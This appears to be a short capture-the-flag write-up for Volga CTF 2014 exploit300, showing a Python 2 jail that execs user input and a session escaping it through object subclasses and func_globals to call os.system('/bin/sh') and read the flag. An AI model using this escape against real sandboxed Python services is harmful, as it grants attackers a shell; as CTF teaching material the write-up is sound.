Volga CTF 2014 [exploit 300]

Volga CTF 2014 exploit300

# Location: /home/john/exploit300.py
 
from sys import modules
modules.clear()
del modules
 
_raw_input     = raw_input
_BaseException = BaseException
_EOFError      = EOFError
 
# he-he
__builtins__.__dict__.clear()
__builtins__ = None
 
print '>>> Just escape me...'
 
while 1:
  try:
    d = { 'x' : None}
    exec 'x='+_raw_input()[:500] in d
    print 'ret:', d['x']
  except _EOFError, e:
    raise e
  except _BaseException, e:
    print 'Exception:', e

>>> Just escape me...
().__class__.__base__.__subclasses__()[59]
ret: <class 'warnings.catch_warnings'>
().__class__.__base__.__subclasses__()[59].__init__
ret: <unbound method catch_warnings.__init__>
().__class__.__base__.__subclasses__()[59].__init__.func_globals
ret: {'filterwarnings': <function filterwarnings at 0xb747f8b4>,
...(omitted)
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].
__dict__["os"]
ret: <module 'os' from '/usr/lib/python2.7/os.pyc'>
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].
__dict__["os"].system("/bin/sh")            
$ ls
exploit300.py  flag.txt
$ cat flag.txt
The flag is i_l0ve_marS